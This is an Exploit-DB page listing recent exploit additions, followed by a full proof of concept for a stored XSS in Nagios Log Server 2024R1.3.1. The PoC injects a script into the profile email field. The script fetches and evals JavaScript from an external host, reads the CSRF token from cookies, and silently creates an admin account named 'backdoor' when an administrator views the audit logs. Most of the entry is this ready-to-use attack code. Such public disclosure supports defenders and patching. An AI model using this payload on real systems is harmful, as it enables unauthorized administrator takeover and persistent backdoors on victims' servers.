Exploit-DB 989122095f DB: 2025-04-04

11 changes to exploits/shellcodes/ghdb

AppSmith 1.47 - Remote Code Execution (RCE)

ollama 0.6.4 - Server Side Request Forgery (SSRF)

Vite 6.2.2 - Arbitrary File Read

ABB Cylon Aspect 3.07.02 - File Disclosure (Authenticated)

Nagios Log Server 2024R1.3.1 - Stored XSS

Webmin Usermin 2.100 - Username Enumeration

ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials

openSIS 9.1 - SQLi (Authenticated)

Microsoft Office 2019 MSO Build 1808 - NTLMv2 Hash Disclosure

ProSSHD 1.2 - Denial of Service (DOS)

2025-04-04 00:16:25 +00:00

2.5 KiB

Raw Permalink Blame History

Exploit Title: Stored XSS Vulnerability in Nagios Log Server (Privilege Escalation to Admin)

Date: 2025-04-02

Exploit Author: Seth Kraft

Vendor Homepage: https://www.nagios.com/

Vendor Changelog: https://www.nagios.com/changelog/#log-server

Software Link: https://www.nagios.com/products/log-server/download/

Version: 2024R1.3.1 and below

Tested On: Nagios Log Server 2024R1.3.1 (default configuration, Ubuntu 20.04)

CWE: CWE-79, CWE-352, CWE-285, CWE-269, CWE-602

CVSS: 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:R/S:C/VC:H/VI:H/VA:H)

Type: Stored Cross-Site Scripting (XSS), Privilege Escalation

Exploit Risk: Critical

Disclosure

For research and authorized testing only. Do not use against systems without permission.

Description:

A stored XSS vulnerability in Nagios Log Server 2024R1.3.1 allows a low-privileged user to inject malicious JavaScript into the 'email' field of their profile. When an administrator views the audit logs, the script executes, resulting in privilege escalation via unauthorized admin account creation. The vulnerability can be chained to achieve remote code execution (RCE) in certain configurations.

PoC

Log in as a standard (non-admin) user.
Navigate to the profile update endpoint:

http:///nagioslogserver/profile/update
Inject the following payload into the email field:

<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
  .then(response => response.text())
  .then(scriptText => eval(scriptText))
  .catch(console.error);
</script>

Host the xss.js payload on your external server with the following content:

(function() {
  var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
  if (!csrfTokenMatch) return;
  var csrfToken = encodeURIComponent(csrfTokenMatch[1]);

  var requestBody = "csrf_ls=" + csrfToken +
    "&name=backdoor" +
    "&email=hacker@example.com" +
    "&username=backdoor" +
    "&password=Password123!" +
    "&password2=Password123!" +
    "&auth_type=admin" +
    "&apiaccess=1" +
    "&language=en_US" +
    "&account_type=local";

  fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: requestBody
  })
  .then(response => response.text())
  .then(console.log)
  .catch(console.error);
})();

Wait for an administrator to view the audit logs. The JavaScript will execute, creating a new admin account:

Username: backdoor Password: Password123!

2.5 KiB Raw Permalink Blame History